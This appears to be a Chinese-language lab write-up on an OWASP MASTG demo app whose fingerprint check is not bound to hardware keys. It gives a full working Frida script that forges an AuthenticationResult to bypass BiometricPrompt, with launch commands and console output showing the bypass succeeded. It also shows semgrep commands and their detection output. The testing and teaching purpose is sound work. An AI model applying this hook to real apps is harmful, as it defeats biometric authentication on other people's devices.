https://mas.owasp.org/MASTG该网站主要围绕以下三大支柱展开为开发者和安全审计人员提供指导 MASVS (移动应用安全验证标准): 定义了移动 App 的核心安全要求涵盖了数据存储 (Storage)、密码学 (Crypto)、身份验证 (Auth)、网络通信 (Network)、平台交互 (Platform)、代码质量 (Code) 以及抗逆向与防篡改 (Resilience) 等多个维度。 MASTG (移动应用安全测试指南): 一套极其详尽的实战手册手把手教你如何对 Android 和 iOS 应用进行逆向工程、动态调试、静态分析以及漏洞利用并给出了具体的测试用例和防护建议。 MASWE (移动应用安全弱点枚举): 梳理并归纳了移动端特有的常见安全漏洞与隐私弱点类似于移动端专属的 CWE。 对于从事移动端逆向工程、动态调试如使用 Frida、IDA 等工具、安全审计或安全开发的专业人员来说这是目前业内最权威、最系统化的参考指南。MASVS-AUTH/MASTG-DEMO-0090该课题为指纹识别漏洞解释如下即未绑定硬件软认证是可以被hook的firda脚本Java.perform(function(){var BiometricPromptJava.use(android.hardware.biometrics.BiometricPrompt);var IntegerJava.use(java.lang.Integer);BiometricPrompt.authenticate.overload(android.os.CancellationSignal,java.util.concurrent.Executor,android.hardware.biometrics.BiometricPrompt$AuthenticationCallback).implementationfunction(cancellationSignal, executor, callback){console.log([] 检测到 App 发起了指纹验证请求...);var authResultnull;try{var AuthenticationResultClassJava.use(android.hardware.biometrics.BiometricPrompt$AuthenticationResult);var constructorsAuthenticationResultClass.class.getDeclaredConstructors();for(var i0;iconstructors.length;i){var cconstructors[i];c.setAccessible(true);var paramTypesc.getParameterTypes();console.log([*] 构造函数[ i ] 参数类型: paramTypes.map(function(t){return t.getName();}).join(, ));try{if(paramTypes.length2){//(CryptoObject, int)-box the int authResultc.newInstance([null, Integer.valueOf(0)]);}elseif(paramTypes.length3){//(CryptoObject, int, int)or(CryptoObject, int, Object)depending on API level authResultc.newInstance([null, Integer.valueOf(0), Integer.valueOf(0)]);}elseif(paramTypes.length1){authResultc.newInstance([null]);}if(authResult!null)break;}catch(innerErr){console.log([-] 构造函数[ i ] 尝试失败: innerErr);authResultnull;continue;// try the next constructor instead of bailing out}}}catch(e){console.log([-] 反射整体失败: e);}if(authResult!null){console.log([] 成功伪造非空的 AuthenticationResult 实例);callback.onAuthenticationSucceeded(authResult);}else{console.log([-] 依然无法构造实例。);}};});启动脚本.\frida_env\Scripts\activate frida-U-forg.owasp.mastestapp-lbypass_bio.js OR uv run frida-U-forg.owasp.mastestapp-lbypass_bio.js(frida_env)PS D:\FridaWorkSpacefrida-U-forg.owasp.mastestapp-lbypass_bio.js ____ / _|Frida17.9.8 - A world-class dynamic instrumentation toolkit|(_||_|Commands: /_/|_|help-Displays thehelpsystem....object? -Display information aboutobject....exit/quit -Exit........More info at https://frida.re/docs/home/........Connected to Android Emulator5554(idemulator-5554)Spawnedorg.owasp.mastestapp.Resuming main thread![Android Emulator5554::org.owasp.mastestapp]-[]检测到 App 发起了指纹验证请求...[*]构造函数[0]参数类型: android.hardware.biometrics.BiometricPrompt$CryptoObject, int[]成功伪造非空的 AuthenticationResult 实例成功绕过指纹验证即未走硬件绑定jadx源码导出漏洞扫描# 安装脚本uv toolinstallsemgrep OR python-mpipinstallsemgrep# 扫描当前目录semgrep--confighttps://raw.githubusercontent.com/OWASP/mastg/master/rules/mastg-android-biometric-event-bound.ymlD:\IdaproWorkSpace\MASTG-DEMO-0090.apk\sources\org\owasp\mastestapp# 简单扫描semgrep--configp/default D:\IdaproWorkSpace\MASTG-DEMO-0090.apk\sources\org\owasp\mastestapp\MastgTest.java# 导出为结构化 JSON 文件semgrep--json--confighttps://raw.githubusercontent.com/OWASP/mastg/master/rules/mastg-android-biometric-event-bound.ymlD:\IdaproWorkSpace\MASTG-DEMO-0090.apk\sources\org\owasp\mastestapp-ooutput.json输出结果如下{version:1.171.0,results:[{check_id:mastg-android-biometric-event-bound,path:D:\\IdaproWorkSpace\\MASTG-DEMO-0090.apk\\sources\\org\\owasp\\mastestapp\\MastgTest.java,start:{line:63,col:27,offset:4188},end:{line:63,col:76,offset:4237},extra:{message:[MASVS-AUTH-2] BiometricPrompt.authenticate called without a CryptoObject or key not requiring user authentication. Use authenticate(PromptInfo, CryptoObject) with a keystore-backed key configured with setUserAuthenticationRequired(true) for sensitive operations.,metadata:{summary:This rule detects uses of BiometricPrompt.authenticate without a CryptoObject (event-bound biometric authentication) and insecure key configurations.},severity:WARNING,fingerprint:requires login,lines:requires login,validation_state:NO_VALIDATOR,engine_kind:OSS}},{check_id:mastg-android-biometric-event-bound,path:D:\\IdaproWorkSpace\\MASTG-DEMO-0090.apk\\sources\\org\\owasp\\mastestapp\\MastgTest.java,start:{line:150,col:9,offset:10425},end:{line:177,col:11,offset:12490},extra:{message:[MASVS-AUTH-2] BiometricPrompt.authenticate called without a CryptoObject or key not requiring user authentication. Use authenticate(PromptInfo, CryptoObject) with a keystore-backed key configured with setUserAuthenticationRequired(true) for sensitive operations.,metadata:{summary:This rule detects uses of BiometricPrompt.authenticate without a CryptoObject (event-bound biometric authentication) and insecure key configurations.},severity:WARNING,fingerprint:requires login,lines:requires login,validation_state:NO_VALIDATOR,engine_kind:OSS}}],errors:[],paths:{scanned:[D:\\IdaproWorkSpace\\MASTG-DEMO-0090.apk\\sources\\org\\owasp\\mastestapp\\BaseScreenKt.java,D:\\IdaproWorkSpace\\MASTG-DEMO-0090.apk\\sources\\org\\owasp\\mastestapp\\ComposableSingletons$BaseScreenKt.java,D:\\IdaproWorkSpace\\MASTG-DEMO-0090.apk\\sources\\org\\owasp\\mastestapp\\ComposableSingletons$MainActivityKt.java,D:\\IdaproWorkSpace\\MASTG-DEMO-0090.apk\\sources\\org\\owasp\\mastestapp\\ComposableSingletons$MainActivityWebViewKt.java,D:\\IdaproWorkSpace\\MASTG-DEMO-0090.apk\\sources\\org\\owasp\\mastestapp\\DemoResult$$serializer.java,D:\\IdaproWorkSpace\\MASTG-DEMO-0090.apk\\sources\\org\\owasp\\mastestapp\\DemoResult.java,D:\\IdaproWorkSpace\\MASTG-DEMO-0090.apk\\sources\\org\\owasp\\mastestapp\\DemoResults.java,D:\\IdaproWorkSpace\\MASTG-DEMO-0090.apk\\sources\\org\\owasp\\mastestapp\\MainActivity.java,D:\\IdaproWorkSpace\\MASTG-DEMO-0090.apk\\sources\\org\\owasp\\mastestapp\\MainActivityKt.java,D:\\IdaproWorkSpace\\MASTG-DEMO-0090.apk\\sources\\org\\owasp\\mastestapp\\MainActivityWebView.java,D:\\IdaproWorkSpace\\MASTG-DEMO-0090.apk\\sources\\org\\owasp\\mastestapp\\MainActivityWebViewKt.java,D:\\IdaproWorkSpace\\MASTG-DEMO-0090.apk\\sources\\org\\owasp\\mastestapp\\MastgTest.java,D:\\IdaproWorkSpace\\MASTG-DEMO-0090.apk\\sources\\org\\owasp\\mastestapp\\MastgTestWebView.java,D:\\IdaproWorkSpace\\MASTG-DEMO-0090.apk\\sources\\org\\owasp\\mastestapp\\R.java,D:\\IdaproWorkSpace\\MASTG-DEMO-0090.apk\\sources\\org\\owasp\\mastestapp\\Status.java]},time:{rules:[],rules_parse_time:0.022849082946777344,profiling_times:{config_time:0.6490864753723145,core_time:0.43653345108032227,ignores_time:0.0,total_time:1.1039011478424072},parsing_time:{total_time:0.0,per_file_time:{mean:0.0,std_dev:0.0},very_slow_stats:{time_ratio:0.0,count_ratio:0.0},very_slow_files:[]},scanning_time:{total_time:0.056032657623291016,per_file_time:{mean:0.003735510508219401,std_dev:0.00016091949039390675},very_slow_stats:{time_ratio:0.0,count_ratio:0.0},very_slow_files:[]},matching_time:{total_time:0.0,per_file_and_rule_time:{mean:0.0,std_dev:0.0},very_slow_stats:{time_ratio:0.0,count_ratio:0.0},very_slow_rules_on_files:[]},tainting_time:{total_time:0.0,per_def_and_rule_time:{mean:0.0,std_dev:0.0},very_slow_stats:{time_ratio:0.0,count_ratio:0.0},very_slow_rules_on_defs:[]},fixpoint_timeouts:[],prefiltering:{project_level_time:0.0,file_level_time:0.0,rules_with_project_prefilters_ratio:0.0,rules_with_file_prefilters_ratio:1.0,rules_selected_ratio:0.06666666666666667,rules_matched_ratio:0.06666666666666667},targets:[],total_bytes:0,max_memory_bytes:182667584},engine_requested:OSS,skipped_rules:[],profiling_results:[]}行数完美对应最后别忘了启动frida-serverC:\Users\HiMaqadb shell unicorn:/ $su./data/local/tmp/frida-server-17.9.8-android-x86_64[1]2548